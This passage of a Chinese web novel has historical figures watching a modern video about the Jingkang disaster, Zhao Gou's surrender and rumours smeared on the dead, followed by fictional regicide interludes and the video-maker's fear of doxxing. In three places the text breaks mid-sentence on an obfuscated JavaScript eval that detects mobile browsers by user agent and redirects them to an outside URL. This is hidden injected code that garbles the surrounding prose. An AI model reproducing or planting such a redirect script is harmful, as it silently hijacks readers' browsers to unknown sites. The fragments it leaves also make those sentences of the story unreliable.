一旁的燕王朱棣没有动作。他背了一遍自家孩子字辈,“高瞻祁见祐”。 难道是以后大哥绝嗣,自家小宗入大宗? 朱棣闭着眼睛想。 【根据跟从“北狩”的曹勋《进前十事札子》,宋徽宗北上路过赵州城,为金人劝降守军。守军不作回应,箭如雨下。 河北的百姓忠诚于赵宋,坚守城池,不愿投降。曹勋感动于他们的忠义,逃回南方后向赵构提议联结河北诸州抗金。他还在宋朝崇文抑武的压力下请求让当地守军世代镇守,丝毫不怕他们产生割据的念头。 河北百姓赤心为国,赵佶你又对他们做了什么呢?叫门、让投降,你忘了金兵是怎么劫掠的汴京吗?】 听到叫门一词被这样翻译,宋朝的文人们纷纷掩面。 他们讲气节,讲风骨,是宋朝崇文政策下养出的一代士大夫。他们中有人清有人浊,有人坦荡有人虚伪,但这个宋徽宗赵佶的行为,简直就是在把大宋的脸面往地下踩! 皇室的老师不都是名臣吗?一群身居高位的士大夫居然能教出这种不要脸的玩意? 没人管这位还是他们未来的皇帝。 宋神宗赵顼一掌劈在龙椅上,疼的他想龇牙咧嘴。 奈何他面前是群臣,他是皇帝。 朝堂上王安石和司马光正吵着要不要变法,二人双双被龙椅上巨响吸引过来,看见了赵顼涨红的脸和通红的手。 “朕想先讨论一下皇子的教育,众卿以为如何?” 皇子教育可能影响到未来皇帝对变法的态度。而赵顼此时提出此事还有一个目的,就是让皇室不要养出赵佶那种叫门的混蛋。 想想这厮大抵是他儿子或孙子,赵顼就觉得皇室教育问题真的迫在眉睫! 【哦对了,说到没骨气,我们顺手cue一下赵构。 绍兴五年以后,赵构多次拉着孝道当大旗,把自己对金人的投降行为说成一场“为了迎回双亲”的忍辱负重。他还说自己投降是为了和平,为了不让百姓受战火蹂躏。 我们来看看他的名言: “今日梓宫、太后、渊圣皇帝皆未还,不和则无可还之理。”① 只有求和才能把我亲爹尸体、亲妈和亲哥要回来,所以我一定要求和! “若使百姓免于兵革之苦,得安其生,朕亦何爱一己之屈!”② 为了和平,我必须做出牺牲!那就称臣求和吧! 好的赵构,我们都知道你孝顺又心系百姓了,那你告诉我们为什么你要在合约里把岳飞等人打下来的洛阳、郑州等地拱手送出呢?】 “金人不是答应将陕西大散关以南的地都还给大宋了吗?”赵构明白于天幕的质问,却仍然挣扎,“他将地还我,我把地给他,有什么不妥?” 他在南边好歹守住了大宋的土地。虽然没能如汉光武帝刘秀般的再造大宋,但他护宋之功,怎么也该被天幕夸上一两句吧! 而且大宋只有他一位直系皇子逃出,天命在身,不必多言。 孟太后依然卧在榻上,不发一言。 她眯着眼睛看太阳,也看天幕口中她当亲生孩子照顾的赵构是如何的不堪。可当年赵构登基改元“建炎”,不就是冲着汉光武帝兴复汉室的事迹去的吗? 那时多好啊……他用汉光武帝为自己的登基造了天意,又用建炎连接起光武帝的年号建武;她则看着中兴的志向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15355802|161562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在青年的眼中流转,光辉在这一刻洒满行宫。 那时候的赵构还不是现在这种在战和之间反复摇摆,仿佛时刻要屈膝下跪的样子。 自从与秦桧拜相,他就病了。主和派找到了他们的主心骨,谁来关心陕西那片被战祸犁成的白地呢? 以河南易陕西,实际上是用将领已经收回的国土换马上要被将领收回的国土。她能看清,便不信龙椅上那个聪明的皇帝不能看清。 他只是不愿醒罢了。 孟太后点了一根降真香,洗手祷祝。烟气萦绕在室内,像盛夏的飞虫。 【要说赵构最出名的特点,无疑是他南逃之迅速和对军队手段之酷烈。 四次南逃,先从南京到扬州,再从扬州到杭州。第三、四次逃遁海上,逼得金兵搜山检海不见康王。 千古第一才女李清照携带15车古董南下,怕自己在乱世中护不住它们,想要将自己的心血交给国家。 奈何李清照一路追赵构一路逃。现实不是什么“她追、他逃,他插翅难飞”的小尬剧,李清照最终还是没追上装了飞毛腿的赵构。 等到安定下来,李清照手里的古董大部分已经散失。这无疑是中国金石学的一场巨大损失。】 “哈哈哈千古第一才女!第一才女……我应得的。那你就是大宋第二才女怎么样?” “老师,你醉了。” 清溪上一叶小舟,舟上两粒人。风拨开茂盛的绿色,旋上师徒两个的发丝。 李清照没有找到考上进士的小神童林幼玉,却在江南水乡觅得一个同样灵秀的女儿。女孩头上有双亲的重压,于是她多方劝说,上下打点,终于使女孩的双亲艰难地松了手。 现在她们朱家的亲戚谈起大才女李清照,估计还在夸着她出手阔绰性情豪爽呢! 桌上纸笔散乱,杯盘狼藉。朱淑真抓住一张要被风偷走的诗稿,上面混着老师头上散落的白丝。 “老师,我知道你对北伐心有不甘。怒伤肝、喜伤心,你又这么大年纪了……痛!” “哈哈哈你还教训起你老师了?这么小个人去谈大夫的理论,不担心忧伤肺啊?” 李清照收回手,朱淑真捂着额头上被老师弹过的地方,竟然还是个端庄的小人儿。 她晃晃杯中的白水,再共老师喝一盅。 “要说忧,老师才是那个要愁忧伤肺的吧?一边‘寻寻觅觅冷冷清清凄凄惨惨戚戚’,一边‘只恐双溪舴艋舟,载不动许多愁’的!”朱淑真想想还是气不过。 她好心劝老师,老师敲她头干嘛? “朝去暮来即老,人生不饮何为……” 朱淑真扁扁嘴巴:“晏同叔的《清平乐·秋光向晚》。” 李清照不理她:“杜工部在诗里写战乱,成了一代名家,我初读他诗时竟不知这破烂运气,竟然也到了我身上。” “国家不幸,竟然让诗坛幸上了。我看,以后人再学诗词,要背的佳作有太多了!” “我宁可一辈子只是那个闺中李后主!写写太平词句,好过众生南渡流离!” 李清照不知,她眼前这个与她吵的有来有回的小女孩在天幕的世界里拣幽栖为名,以《断肠》作集,从心底呕出“多谢月相怜,今朝不忍圆”这类血泪诗句。 家人威逼,夫妻不合,抑郁而死,诗作被付之一炬。 绍兴十年的舴艋舟上,酷暑洗尽,风光太好,好到人忍不住发汗啊…… 29.靖康耻(8) 【至于赵构残害忠良,我们都知道西湖有个岳少保,听烂了风波亭那场“莫须有”。 赵构和秦桧的罪是洗不清的,可大家只听风波亭的故事,也未必能知道为什么岳飞之死算一场南宋的国耻。 到底是为什么? 北宋灭亡以后,赵构后两次逃亡都是从浙江逃往海上,金军已经深入浙江。 而岳飞等将领生生把宋金疆界从浙江推回了河南。 绍兴十年郾城之战,岳飞大破金军,正要北上却先遇到朝廷召回韩世忠等与岳家军相策应的军队,后收到中央传来的接连十二道班师命令。 不得已回到临安后,岳飞被夺走兵权,关进囚室。绍兴十一年,他与儿子岳云、副将张宪被杀于风波亭。 有了忠臣良将的性命搭的桥,赵构终于签下了绍兴和议。他终于对金人俯首称臣,终于送出了淮河以北的一切土地,终于为宗主国奉上了银25万两,绢25万匹的岁贡! 呜呼! 臣飞死,臣俊喜,臣浚无言世忠靡。 桧书夜报四太子,臣构再拜从此始!①】 “老师……老师!” 朱淑真骇然看着李清照用酒杯作桨,小舟逆着水流滑了一小段。 李清照哭着扬起一捧又一捧灼热的水,清溪被搅得浑浊,她们在往上,再往上。 这让朱淑真更想哭了。她抄起正牌船桨,拼命往反方向划。 “老师你醒醒……别划了,你抬头看看!” 李清照确实回头了。她看着朱淑真,双眼迷蒙,实在不知道是醉的还是哭的。 “徒弟儿,你怎么也要拦我啊!这破烂世界里,我不能上北去,不能上朝去,为什么还不能上游去啊!” 朱淑真木着脸:“老师,你把头转回去,就转个头往后看—— “后面是瀑布啊!” 李清照回头,太阳的光透过天幕打在南方一节一节的小瀑布上。这里的瀑布太精巧,像是上天偏爱的小孩,北方的瀑布则雄浑咆哮着让人害怕,让人惊讶于上天伟力鬼斧神工。 “小孩……”她扣着船舷:“往上面看,那里的藕花开了。” 像一个个没被砍下的人头。 汴京,百姓们一拥而上,揪着执勤的士兵问今年是多少年。 “绍兴十年!”士兵回答完,就见百姓们从各种刚能藏人的石瓦砖房里涌出,往大营去。 这个荒废在战火里的汴京,居然还有这么多人…… 布衣芒履汇成一条向大营去的潮流。缺腿的拄杖,没眼的拉人,孩子被抱在怀里,动不了的被背到肩上。 人们骚动着,而士兵听清了队伍末尾的没腿人那句话。 “快……快找岳将军!” 【赵构丢了骨气,也把北方的百姓抛下了。 我们已经说过,当时的陕西一带被战火一烧,几乎成了白地。 而山西平遥也在这时出现一块碑。碑名《汾州葬枯骨记》,是1142年当地进士李致尧所立。 他为平遥的死者收尸,1134年收集尸骨1500多具,1137年埋葬2000多具,1141年从井底掏出尸骨50多具,百人坑中找出尸骨700多具,水中捞出尸骨200多具,各处寻找又找到100多具。 三次收尸,共获得军民尸骨4550多具。在平遥城中这一角,4550具尸骨甚至是一个保底的数目。 ……up想到了著名的宁城大屠杀。 18处万人坑,里面埋葬了从0岁到80多岁各个年龄段的活人。水边荒滩变成屠杀场,死者的尸体被日本士兵拿来取乐…… 那里的死亡人数超过30万。】 此话一出,天幕之下人人瞠目结舌。 盛世百姓为乱世平民的悲惨命运而哀伤,乱世百姓为自己挣扎活下来而苦笑,为战争中惨死的同胞们痛哭。 宁为太平犬,莫作乱离人! 有良心的人们纷纷为战争带走的生命默哀,或痛斥军队的残忍。看惯了战争的人也为这场死亡把眼与嘴巴张的极大,一时竟让他们掩饰住了自己与大多数人的不同。 为什么……那可是30万人啊!战争不缺人口的吗?为什么连不在军队里的人都要杀光啊! 80岁老人和刚出生的小孩……这种杀俘真的有价值吗? 白起回忆起自己那次杀俘,来自赵国的四十万兵士挖着坑,他们不知这是用来做什么的,还以为自己能活着见到家人。 他杀他们,是因为四十万人太多养不起,放他们回赵国却成了资敌的行径。 这毕竟是四十万青壮年士兵。 他又想起自己伊阙之战灭韩魏联军24万人,上党之争杀三国联军15万人,陉城之战斩首韩军5万人。 他杀壮年士兵,是为秦国一统扫清阻碍。 那日本国,为什么连拿不动兵器的老弱都杀? 【另外还有一个点要说明。靖康之变里作为高级俘虏的皇室女性没有受辱,不代表底层女性也能得到礼遇。 宋朝宗室“北狩”,音信全无,所以冒名顶替宋朝宗室“认祖归宗”的人群堪称两宋一景。 混在其中的平民“帝姬”遭遇,就是那时候被俘北上的女子缩影。 比如假荣德帝姬易氏。她是乱世中一普通妇女,先被乱兵掠去,再入刘超军中,最后嫁商人为妾。 再如假柔福帝姬阿李。她是汴京城外一女尼,逃出金营后三次委身于人,好不容易用帝姬身份得到赵仲礼遇,赵仲又被杀了。阿李没入刘忠军队,又入韩世清军队,自称柔福帝姬才被韩世清以礼相待,被送到江南“认祖归宗”。 我们无法认为她们冒充帝姬是因为贪图富贵,她们可能只是想逃出火坑。 她们也算幸运,被史书一笔带过。那些湮没在历史里的人生,也因为她们被记录的生命而有了颜色。 灰暗、可怖。】 “皇室尊严竟然没落至此!”宋徽宗赵佶一屁股坐到龙椅上,又被坚硬的龙椅硌了起来。 他重新走到蔡京面前,痛斥天幕蔑视皇室尊严,竟然敢为装成帝姬的女人们脱罪。她们不该让世人误会宋朝的帝姬们陷入乱军,不该用帝姬的名义作威作福! 蔡京嗯嗯嗯应付着,思绪却飘到了西晋清河公主身上。 清河公主没入乱军,又在豪户家里当婢女被折磨。你个亡国皇帝还不感谢金人,他们至少把你的女儿们保护得很好! 蔡京腹诽,忍不住怜悯那些乱世人,也怜悯马上要面对乱世的自己。 后宫,王德妃抱回了小柔福。天幕最近的话语情绪并不激烈,她的女儿也回到了梦里吐泡泡。 “小环环,不要怪冒充你的人。”王德妃喃喃道,“她不想被乱军糟蹋,我也不想姑娘被乱军糟蹋。” 宫女们面露悲色,她们是最容易没入乱军中的一批人。纵使有人后来跟着华国夫人李从和留在汴京,但她们无法不去想那个更可怕的可能。 去寻书的李怜怜回来了,她将手中《晋书》奉给郑皇后。 郑皇后翻了几页,见到了后宫妃嫔张氏杀东晋孝武帝之事。 【好的,现在让我们进入最后一个环节,攻击力有点强,大家准备好。】 天幕下的人们紧绷身体,表示自己准备好了。 很明显天幕也准备好了,因为up的语言突然变得非常尖锐。 【来来来懂王们我来帮你们骂:史书没记载怎么能说明就不存在了呢?皇室被轮/奸也不是什么好事,它宋不会自己改史料吗?】 人们听到天幕的up深吸了一口气。 不知为何,嬴政觉得自己身边泛起一股冷气,比他小时在邯郸被赵国孩子欺凌,被大冬天压进水里时的寒意更甚。 【来来来,这么说是吧? 那秦始皇嬴政没有后宫记载,所以他其实是女的。他亲自生了10个女孩23个男孩以后因为生育太多伤害身体才没像他曾祖父秦昭襄王一样活到75岁,一统天下后在49岁成功驾崩。】 “朕不是女的!等等……什么?朕会驾崩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15382219|161562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在49岁?” “臣的《谏逐客书》里写过‘郑卫之女不充下陈’,想必后人见到这句话,便能知道陛下是男性,不至于传出这样离谱的谣言。”李斯道。 “是啊,郑卫之女不充下陈……丞相此言不妥,若后人断章取义,这话就能变成朕没有后宫,独自一人生了33个孩子的证据。” 嬴政冷静分辨着,却连“如果享年49,怎么生出的33个孩子”这个简单有效的反驳都没想到。 李斯把这些都看在眼里,叹一口气,却也不好多言。 ……陛下对早逝的愤恨,似乎比被当成女人更甚。 【明太祖朱元璋乞丐出身,第一桶金出自卖屁股。不然一个乞丐小兵怎么可能披荆斩棘让上司看到,还把自己养女嫁给他当老婆? 至于为什么没有记载……人家登基以后连自己当过和尚的历史都不想被别人说,掩盖自己当鸭的历史不是洒洒水吗? 材料来源当然是某乎了哦。】 “咱没有!” 朱元璋看着大殿里的妻子孩子们,深恨为什么这场天幕放着放着,家里人都凑到了他跟前。 好了,现在大家都来看他这个乞丐和尚皇帝的笑话了! 他走到马皇后身边:“妹子,你是知道咱的,咱真的没有干过那种事,咱喜欢女人啊!” 马皇后笑着拍拍他的手:“我知道你不会做这种事。你怎么上来的我一步步看着,你是个正经人。” 朱元璋心头一暖,却听到一声屁响。他猛回头要训斥孩子,一阵一阵屁声灌进他的耳朵。 这群小兔崽子居然用手捂着嘴巴笑!刚刚那阵屁声,竟然是他们捂不住嘴笑出来的气! “都别给咱笑!憋着,憋住了!” 【唐太宗李世民属于魅魔型领导,身边人心服口服,这都是因为他肯和他们上床。 玄武门之变是李世民不堪太子李建成和齐王李元吉床上凌辱才弑兄杀弟,此事有淫唐书为证…… 什么?你说淫唐书是现代小说不足为信? 思维打开~你看看那个《靖康稗史》,过个几百年它就变成古代文献了。】 聊后悔的事,李世民和朱元璋一定有许多共同话题。 比如现在,李世民深深后悔着自己轻视了天幕彩蛋的危害,在天幕降临的时候把全朝大臣都拉了过来。 现在好了,满朝文武老婆孩子都来看他自己的笑话来了! 满朝文武战战兢兢,孩子们懵懵懂懂。他美丽温柔又俏皮的妻子走上前来,当着他的面扬起先前被压住的嘴角。 锦衣华服璀璨,见证着她将笑容缓缓收起:“二哥,我知你天纵英才,可后人要这么说才能让别人相信她努力论证的结果……” “未来那些士大夫的道德,究竟都上哪儿去了?” 僵硬的躯体放松下来,李世民没发出一声叹息,倒与群臣说起这天下。 要如何才能养出不以物移、真心为民的英才?他不知道。 【《刑法》第二百四十六条规定,以暴力或者其他方法公然侮辱他人或者捏造事实诽谤他人,情节严重的,处三年以下有期徒刑、拘役、管制或者剥夺政治权利。 那为什么被造谣的是死人,网上的谣言就发狠了,忘情了,没命了? 我们用法律保护活人,却只能用道德守护死人。造谣现在的人犯法,他们就盯着已经去世的人,创造出一场“真相”的狂欢。 多少人逮着虚假的帝姬被侮辱津津乐道?多少人知道靖康百姓才是受苦最深的人? 天呐……这样下去一直想要把宁城大屠杀等侵华罪孽抹去的日本右口口口只怕都要向营销号取经…… 原来掩盖痛苦,只需要造点黄谣啊! 好的,我们这期视频就到这里,如果支持up,一键三连谢谢。】 视频上传成功,陈钰用最快的手速打开界面,关闭了自己所有视频的评论区和私信。 她拍拍自己的脸。 从现在开始,她要逃进人间了。 30.间章 天幕一散,赵构就向手腕点去。 天幕这样针对他,但后人众多,总有能在评论区给他留一些能平息天幕降祸的建议的……吧? 赵构看着那个“评论区已关闭”的消息,陷入了沉默。 不独赵构,历朝历代各位君主看着关闭的评论区,想到后人对自己国家提出的各种有用建议,心中就是一阵叹息。 虽然后人也未必有多聪明,但他们知道王朝以后会怎么样,能提出高屋建瓴的建议……再不济也能规避一条错误的道路啊! 评论区关了,与断帝王一臂有什么区别! …… 绍兴十年夏,天幕降,痛斥帝王丞相毫无骨气,只知投降。秦桧罢相,待罪家中。 绍兴十年秋,帝崩。孟太后垂帘听政,赐死秦桧,与朝中重臣议立新君。 …… “陛下……陛下……上朝了?” □□横在床上,宦官见状继续走进,加大了声音:“陛下!” 床上的身体没有反应。 昨夜侍寝的宫女已经被带去记档。她会回到原来的位置还是成为宫里的新妃,雷霆雨露,皆是君恩。 宦官这么想着,继续走近。皇帝把脸埋进被子里,不愿上朝。 “陛下!” 被子被掀开,凸起一双眼球。赵构的身体黑红,尸斑疯长,口边流涎,是窒息而死的样子。 昨夜的宫女很轻易地被抓住了——她似乎没想着逃跑,或许是因为她知道自己逃不掉。她只是用一双黑白分明的眼睛紧盯着来审问的官员,盯得官员怒拍惊堂木,四周衙役们一齐喊“威武”。 “人犯莺儿,弑君大罪岂是你闭口不谈就能逃过的?快说,背后是否有人指使!” 莺儿依旧盯着他,像个锯嘴的葫芦。 大理寺卿周三畏随手挑了根签子扔下去:“人犯拒不配合,二十大板。” 于是她就发抖起来,额边留下冷汗:“大人!别打,是秦相……秦相要我杀了陛下的!” 周三畏威严地抬起手,也擦去自己额边冷汗:“人犯可有证据!” …… 牢门无声开合,将莺儿的身影吞没。外面寒蝉凄切,里头只剩一丝想要扩张地盘的阳光。 “莺娘子!” 知道狱卒来了,莺儿也不怯:“我在这!” 狱卒把饭菜一碗一碗放到莺儿跟前,迎着莺儿的疑惑一摊手:“单独关着的人真不好找……就这些,大理寺卿特意吩咐不让我们给你筷子,说怕你自杀。” 他把“特意吩咐”几个字咬得很重。 莺儿会了他的意,吃吃笑起来:“要自杀,我把碗一摔就行的,用什么筷子!” “就是!有瓷片能划手腕,谁会把筷子插进鼻子里自杀啊!” 笑完了,狱卒环顾四周:“现在没人,莺娘子愿意告诉我为什么杀皇帝不?” “有什么?秦相让的呗!不杀官家他出不来,杀官家他才能出来当宰相……” “娘子别这么说了!大理寺卿同你串供的时候,我可听着呢!” “串供?什么啊!我死不足惜,你可别攀咬大理寺卿……你不是大理寺的班头吗?” “‘娘子都敢弑君,何不把奸相秦氏也拖下水?’娘子只说这话是不是真的就行了。”狱卒甲看莺儿面色不对,双手合十补了一句,“我也讨厌金人,娘子就同我说了吧!” 莺儿一转身,到角落里吃饭去了。一会儿吃完出来,她把瓷碗往狱卒面前猛一放,叮当响。 第二天,狱卒又来了。莺儿不愿意理他,他就在栏杆外面自顾自说起来,和外面的蝉一样聒噪。 莺儿闭着眼假寐,忽然听到一句“潭州屠城”,心带着身子颤动起来。 回过头去看,那狱卒已经挪走了,饭还放在地上。 莺儿端起饭,把它抱进怀里。 她的心脏在热流下慢慢恢复了跳动。 太阳下降了几个轮回,莺儿又听到那狱卒雀跃的声音:“莺娘子!秦桧被抄家了,和他走得近的几家也没放过!” 她猛回头,看到狱卒嘿嘿笑着。今天的菜里多了一条黄黄的东西,她咬一口,油的、脆的。 “这是油炸桧!”狱卒兴奋地介绍着这个风靡临安的新美食,“这面粉团子就是秦桧,现在临安大街小巷都能看到把他下锅的人!” 他突然沉默一下,又说:“现在外面的人都在给你伸冤。他们不信你是秦桧的人,那么多年了,谁不知道先帝活着才对他好。” 莺儿把油炸桧塞进嘴里,掩盖住扬起的嘴角。 她又听到狱卒在那里絮絮叨叨说话,说什么太后垂帘,新君定了张婕妤养的赵瑗。那孩子她见过,聪明的。希望他能多用用岳将军。 莺儿这么许愿。 狱卒往这里跑得勤,勤到有一天突然出了消息,秦桧被命令自裁了。 狱卒在栏杆外面盘腿:“他一直说你不是他的人,可谁知道他的罪名会是通敌卖国呢?” 话虽如此,两个人一点也不惊讶。自从秦桧下狱,他们就知道他必死,通敌卖国也不算冤枉了他。 “没想到他还死在我前面。”莺儿边说边啃着手上的饼,“我什么时候死?” “估计也快了,现在是秋天。” “好吧……”莺儿闭住眼睛,往地上稻草里一躺,“你记着,我叫桑林。” 狱卒一骨碌凑过来。 莺儿……桑林的声音从稻草里传来,闷闷的,让人想到梅雨季柜子里发的霉。狱卒仔细听着她的话,不时插上几句。 “我是汴京人士……汴京还记得吧?我爹也算个不错的商人,带着商队跟着道君皇帝南下就被困在了南边。我们听说金人围城松了,怕死的道君皇帝回京了,刚打算收拾东西回去,可谁知道家就没了! “行吧,我爹南边来了,好歹带来些家产,周转周转还能过。苏湖富庶,扬州繁华,我们为了追随狗皇帝辗转过了潭州……” 那是她见过的最大一场火,混着残肢断臂浇到人头上。人们用死者的鲜血打湿自己,然后被纵马的金兵踏成肉泥。 “……潭州屠城六日,你知道,我不想说。” “桑娘子,他们搜山检海的事,我也记着。我们临安人也吃过金人的苦,巴不得这里还叫杭州。” 狱卒摇头,想到父亲说的原话:“现在临安城里一砸砖头三个官,不是我们小吏家的作威作福的时候喽!” 这话还逼得他和父亲吵了一架,他虽然也怀念杭州,但他怀念的是没被金人抢掠过的杭州,不是自家还能作威作福的杭州。 “你们临安人还会讨厌这些?没有靖康乱你们临安就成不了都城。” “别看不起人!人命堆起来的都城,不要也罢!” 说罢,栏杆内外两人默然不语,谁敢说没人这么想呢? 这临安,必然会有人想着不要北上迁都,自己就可以永远拥有一套都城中的房子。来考进士那群人给的房租可是一笔不小的数字! 桑林肩膀耸动,突然笑了起来。 “哈哈……我的家在北边!北边的人过得不好!明明有那么多将军,为什么狗皇帝宁可把岳将军杀了也不要把地收回来?那些普通人要怎么办? “平遥那个李进士收了三次尸,次次几千人,他们在北边哪里过得好了!狗皇帝,大好的局面都得毁在他手上……干不了就把位子给我让出来啊!” 狱卒看着桑林,她在宫里保养得乌黑的头发被抓得乱成一团。他看着她哭起来,自己也落下眼泪。 “会好的……会好的……地会回来的,人会回来的……” 不要再有屠杀了。 …… 今天的菜很丰盛。 今天的天很亮堂。 桑林出了大理寺狱,要往刑场去时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15410921|161562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她镇静同狱卒告别。 “我杀了皇帝,如果国朝暗下去,就拿我的魂儿来祭;如果亮上去……” 她噙着笑看太阳:“那我不算白死。” 狱卒回到阴暗的大理寺狱里,夜晚回家,竟然听到了劫法场的消息。 当晚他在床上笑着蹬腿,直到抽筋。 …… 多年以后,桑林回到了汴京。 她走过城里的大街小巷。卖鱼的大爷在卖饼巷里拉客,马蹄糕摊换了糖葫芦垛,她从没进过的第一酒楼成了新的侯府。 她走过旅舍,看到年老的妇人捂着心口题诗墙上。旁边的少年不管腿上挂的那个更小的女孩儿,一直叫着什么“喜伤心、悲伤肺”。 她便猜这是一家回汴京的医者。 她走到河边,看到一对父子踱步。父亲和儿子说起自己夫人就是在来汴京的船上生下的他,没听到儿子回答,把脸拉的好长。 儿子被父亲的不满一吓,急急解释自己是在想要怎么记载汴京的重建。 城里多了岳侯府和韩侯府,岳侯爷慢慢也老了。 某天他身边出现了一个剑眉星目的抱剑小童。他笑着和韩侯爷说这孩子姓辛,济南人,聪明能打仗。军里的事要交给下一代了啊! 岳侯爷说话的时候,手一直没从辛小孩头上下来。辛小孩臭着脸,扬起的嘴角根本压不住。 也有知道桑林过去的人问她:当年弑君的时候没想过如果朝廷没应付过来会怎么样吗?万一皇帝死了,朝廷动荡,金人趁虚而入,你能承担得起这个后果吗? 她便指着脚下:你现在站在哪里? 用一己私欲换来日月重辉,她就算当年真搭上了这条命,也是值得的。 …… 刀扎进去,血就流出来了。多扎几下,血就流光了。 童武把湿滑的刀交给李从仪。感到久违的杀猪手感,他不禁想原来皇帝和猪,并没有什么区别。 不过是豆腐皮,豆腐骨,豆腐身。 郑皇后坐在堂上,手上捏着《晋书》,看着宫人们一个个把刀插进赵佶体内。这血腥的场景一开始让她吐了两回。 现在的她明显已经看惯,只在高堂上扮演那至高至明的日月。 鲜血溅出,清水泼上,侍人清洗,大殿如新。 李从仪洗了双手,走到郑皇后边上。 皇后握住她的手。 “李怜怜……” 李从仪一笑:“圣人,我改名了。” “啊,从仪。废太子忧郁而死,九皇子偶感风寒病死,现在就剩这一个,不去再补两刀吗?” “何必?他已经自杀。” 这话倒是激得郑皇后和韦婉仪一起笑了。 韦婉仪先前因为儿子赵构突然病死被赵佶迁怒,现在皇帝“自杀”,皇后主事,她竟也坐到郑皇后身边,眼见着要成为新一朝的红人。 “可惜先太子妃朱氏和离得太早,现在也没什么理由把她叫到宫里来了。”韦婉容一阵惋惜。 “吓到孩子也不好。”郑皇后翻翻书,看看尸体,下面又积血了。 李从仪也来附和:“先帝把靖康耻全推到废太子身上,废太子都成了弃子,也无怪朱氏要回家。谁都能踩一脚的弃子死了不稀奇,但要是朱家女儿也跟着被踩,他们可就太苦了!” “能救干嘛要自家女儿承担靖康耻的责任呢?女婿又不是朱姑娘自己挑的。” “好了,接下来就是选幼帝登基,我自垂帘听政……” 毕竟皇帝已经连中几十刀自杀而死,整个皇宫都是同谋。李从仪封锁了宫女的口信,童武封锁了宦官的口信。 郑皇后相信,有能力探查到皇帝真正死因的人会替她们遮掩。因为他们如果不是北上的那部分,就是死去的那部分。 瞧!外面禁军正龙行虎步,拱卫着这一场谋杀。 不会再有靖康耻了。 31.间章(现代)(可跳) 这个世界上,每个人随时都会踩到痰。 ——by紧急躲开前面黑衣男人在地上吐的痰的陈钰 太阳下无新鲜事,往地上吐痰这个传承千年的习惯,也没有随着人类文明的发展被进化掉。 陈钰突然有一种想笑的冲动。可明明想到这种“格言”的前一秒,她还想一巴掌呼到那个随地吐痰的男人脸上。 这种想笑的冲动在她看到前面那坨明显被人踩过一脚的狗屎时达到了巅峰。 陈钰发出一声短促的嗤笑,用温柔到慈祥的眼神盯着草丛里尿尿的男孩。男孩提着裤子跑了,陈钰捞起正在草丛里散步的猫。 “真小。”她抱着猫说。 世界还是一样烂。 …… 回寝室,摸鱼。 大学生无聊的一天就这么结束了。 临睡前,室友莫秋声打开C站,把手机怼到陈钰脸上。 那C站视频封面是陈钰辟谣账号的头像,标题上赫然写着:ky博主重出江湖?官方信史竟被网络辟谣博主打假! 陈钰翻了个身,把脸埋进枕头里:“我才不要看这些!这个破视频一看就会说《靖康稗史》是真的,里面肯定会有好多黄谣!” “可是他说要找人开盒你……” 陈钰猛地窜起来。 …… “呜……啊呜……” “别哭了……你不是要还去辟谣吗?赶紧去看《苏轼传》,别让他们等急了啊!” “可是我害怕……他们都骂我……”陈钰一边翻那视频的评论区,力图找到防止自己被开盒的方法,一边抱着莫秋声抽噎。她知道,自己哭泣的惯性一旦起来,半个小时都止不住。 “你怕还去C站辟谣?C站的环境只比颤音好一点,喷子那么多。你要怕你可以去小绿书啊!那里人比较友好……吧……” 莫秋声想到最近自己在小绿书喜欢的博主评论区那场黑粉大入侵,也不敢下定论了。 “可是视频看的人更多啊……我再标题党一下,成果也挺大的啊呜呜呜……” “但你被骂了啊!你被骂得很惨!”莫秋声用手指一推陈钰的额头,陈钰顺势往后倒在床上,像条蛆一样扭来扭去。 眼泪被她甩到各处,像床上下了一场雨。 “让他们骂!我就要发!不管不管不管……啊啊啊呜呜呜啊!如果有人来学校打我怎么办呜呜呜……” “啊啊啊!那你就别烦我!”莫秋声干脆拿被子的另一端把自己裹了进去,发出蒙蒙的声音,“你发就发呗……你被喷子骂了我还能当没你这个朋友……” 她一把抓开脸上的被子:“你受得了就继续发,受不了就要么不去看,要么不辟谣!哭没有用,你也别三天两头跟我抱怨好好的新评论怎么又是喷子!” 陈钰大为震惊:“秋声,你说了和我初中教导主任一样的话诶……” “好了,闭嘴!睡觉!” …… 谁说睡觉就不会怕? 陈钰坐在书桌前,面前一个戴着兜帽的女人,女人手上一支笔,眼前一本书。 女人问:“害怕吗?” 陈钰了悟,这是自己在梦中叩问自己的本心呢!看来这“开盒”两个字,真的把她吓得不轻。 她于是回答得干脆:“怕!” 女人的笔在书上移动,伴着沙沙的响声。 “还做视频吗?” 陈钰疑惑了。 面前这位这真的是她内心的化身吗?她如果不做视频……她都无法想象不辟谣的她会是个怎么样的人。 